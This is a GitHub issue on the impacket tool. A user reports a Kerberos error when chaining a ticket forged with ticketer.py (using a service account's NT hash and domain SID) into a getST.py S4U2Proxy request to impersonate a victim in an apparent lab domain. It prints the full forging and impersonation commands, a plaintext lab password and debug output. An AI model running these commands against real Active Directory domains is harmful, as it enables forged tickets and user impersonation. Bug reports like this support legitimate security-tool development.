Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Constrained Delegation With Ticketer ST Gives "KRB_AP_ERR_MODIFIED(Message stream modified)" #1713

Open
cburk opened this issue Mar 15, 2024 · 1 comment
Assignees
Labels
in review This issue or pull request is being analyzed

Comments

@cburk
Copy link

cburk commented Mar 15, 2024

Configuration

impacket version: impacket_0_9_13-2498-g4b56c18a
Python version: 3.11.4
Target OS: client - kali, DC - Windows Server 2016 Standard Eval Edition v1607

Debug Output With Command String

Howdy,

I'm trying to use impacket to test a particular constrained delegation scenario. Given the NTLM hash for a service account user "Cousin" with spn kafka/wef.windomain.local and msDS-AllowedToDelegateTo = [ kafka/dc.windomain.local ], I want to use ticketer to construct a forwardable ST for a victim user "SteveSQL" and then use getST.py w/ S4U2Proxy to exchange that ST for an ST for the victim => kafka/dc.windomain.local (basically scenario 2 from here: https://www.guidepointsecurity.com/blog/delegating-like-a-boss-abusing-kerberos-delegation-in-active-directory/#:~:text=domain%2Dcontroller%2Dfqdn-,Constrained%20Delegation,-References%20/%20Background).

My understanding is that this should work, but instead I'm getting Kerberos SessionError: KRB_AP_ERR_MODIFIED(Message stream modified). Here are the commands I ran:

First, forging the ticket with the service account's nt hash:

./ticketer.py -nthash 279fec487cbb90ea8cf6d4b396474043 -domain-sid S-1-5-21-3093748332-960232250-2469032272 -spn kafka/wef.windomain.local -domain windomain.local -user-id 1108 -domain windomain.local SteveSQL
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for windomain.local/SteveSQL
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in SteveSQL.ccache

Then using that service ticket to impersonate the victim (SteveSQL) and get an ST for kafka/dc.windomain.local:

./getST.py -spn 'kafka/dc.windomain.local' -impersonate 'WINDOMAIN/SteveSQL' -dc-ip 192.168.194.138 -additional-ticket ./SteveSQL.ccache -debug 'WINDOMAIN/Cousin:ILoveYou90'
Impacket v0.11.0 - Copyright 2023 Fortra

[+] Impacket Library Installation Path: /home/kali/Tools/impacket/.venv/lib/python3.11/site-packages/impacket
[-] CCache file is not found. Skipping...
[+] The specified path is not correct or the KRB5CCNAME environment variable is not defined
[*] Getting TGT for user
[+] Trying to connect to KDC at 192.168.194.138:88
[+] Trying to connect to KDC at 192.168.194.138:88
[*] Impersonating WINDOMAIN/SteveSQL
[*]     Using additional ticket ./SteveSQL.ccache instead of S4U2Self
[+] Returning cached credential for KAFKA/[email protected]
[+] Changing sname from kafka/[email protected] to b'kafka/[email protected]' and hoping for the best
[+] TGS_REP
TGS_REP:
 pvno=5
 msg-type=13
 crealm=WINDOMAIN.LOCAL
 cname=PrincipalName:
  name-type=1
  name-string=SequenceOf:
   SteveSQL

 ticket=Ticket:
  tkt-vno=5
  realm=WINDOMAIN.LOCAL
  sname=PrincipalName:
   name-type=1
   name-string=SequenceOf:
    kafka    wef.windomain.local

  enc-part=EncryptedData:
   etype=23
   kvno=2
   cipher=0x9bed207b3db8ae4ce67c374083a5ddea40a297781711a8c845a4043c4aa4c1ec9655380b7703bbb048b3b6575b470898569ab71b3d0164bd996e6bb7baea4fb3a8d6b39e6f5e9f7a5998843eacddba5dcf159cc115245a6959d1ffc2f82772ec36043745238744f46aa2880976ade923e0d1d31d20fd09bd6f5cb394b64e7cb116a2b453d51941c731b8467ed0d65da7ae3665b8809cbbd776aec6dd44f2e3fe43b328b7dc446f9cbe6782e2e1ff48ca2f09342e43766e4cfd7213ff0e44fa9e711c5a2ee3550fd555a02bcdc2e952c3ac22f84704f89a094788574101d4f6ad7ad5c22e30b45085539b6720271a562f7f23668e0e2a67da77c8e79461eec89adf452c66193ace0a4b165e1a1c2684971355963ac3111d17abe0477a36344a8a2568475327c517fd483997882a81c701d6aab0c681ba4171042a59443ad7beef354a161b392a5c57ae4bb304a57dc9f9b0db1f5c4a200bb1f782759bc1871d6afe8498495207bbfe2259853f19832ab86eb068f1c4386dd4944e8ada40b3f177678a6610ce62bfb3223abc9d64bf19ebd495fb22f24e969ebf198711ea01fe860208afc34d5374258aef7b12c47bbeb51a638bd91a2f20e0f1f46f1faade317e0d7c507b4ec352ee3cb0c06debe7258a7b24d8c65701edc0f7e37d51e3aaf6184d53276f8334a7daddc43becfdc1196585682489fd9ba84e025d40a13101ec506a1c8b957adf42bc0a1211db33ca6b412929c6b10f2e292c579c5ff4f43b333865eaf97e5a97ddab21a3097cb7b6ccc319d15576547b5e63d50a2018b29143e4a043b38a4d747b82b03c6529ed70d2f7e363c440981745bc0310b09967b026b6b4a8c86826bfa4d12cbcfbce17c040ec1cf10322df0a06afae2497892267bd8141f02282692e617aad52bab695434d3d4fb4befbea8721d455f30168de3c2e9d011810ebaa8b10472eb8600c6ddb120d485f4b3cdc604940176b67688bd6836f6ee8fba214a55d66f12cd4c89450fec57c39936e97193495df70fa7a820bf2f85e1c0290108e47fcb44d556b032b1f5404e92cf02cb6c37e5ed8d0f4321641922a45eb47cc58a1abb3b123057ddf1fa03bfc8318b797dc80b9c0dbad44c41d05953257684e103b48fd96a62342649e8eaa4beb6ee67be265f7dfa7cc43bd57ca4b343317a943f457a3d068766c42f930d91298ae88e48c7098118701941cd8c6aaa836eccfebc250c2b0060ab95a29565ee8fca8b47a570f76b5c3dfbb15c0c8dc1d327852e99da64b09a000f34fc3122ab9259ebc4c2ba4f3db01f0f0ed5da3


 enc-part=EncryptedData:
  etype=1
  cipher=


[*]     Requesting S4U2Proxy
[+] Trying to connect to KDC at 192.168.194.138:88
[+] Server time (UTC): 2024-03-15 05:08:44
[+] Exception
Traceback (most recent call last):
  File "/home/kali/Tools/impacket/examples/./getST.py", line 652, in run
    tgs, cipher, oldSessionKey, sessionKey = self.doS4U2ProxyWithAdditionalTicket(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey,
                                             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/Tools/impacket/examples/./getST.py", line 278, in doS4U2ProxyWithAdditionalTicket
    r = sendReceive(message, self.__domain, kdcHost)
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/Tools/impacket/.venv/lib/python3.11/site-packages/impacket/krb5/kerberosv5.py", line 91, in sendReceive
    raise krbError
impacket.krb5.kerberosv5.KerberosError: Kerberos SessionError: KRB_AP_ERR_MODIFIED(Message stream modified)
[-] Kerberos SessionError: KRB_AP_ERR_MODIFIED(Message stream modified)

For additional context, the impersonating GetST.py request works if the ccache is the result of a previous GetST.py call for the victim => kafka/wef.windomain.local (happy to provide debugging output for that if it would help), which leads me to think the issue is with the ccache produced by ticketer (or, more likely, my usage of it).

Thanks for your time (and for the great tool)!

@anadrianmanrique anadrianmanrique self-assigned this Apr 11, 2024
@anadrianmanrique anadrianmanrique added the in review This issue or pull request is being analyzed label Apr 11, 2024
@cburk
Copy link
Author

cburk commented Apr 18, 2024

Also, for what it's worth, I'd be more than happy to help with implementing a change if y'all can point me in the right direction

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
in review This issue or pull request is being analyzed
Projects
None yet
Development

No branches or pull requests

2 participants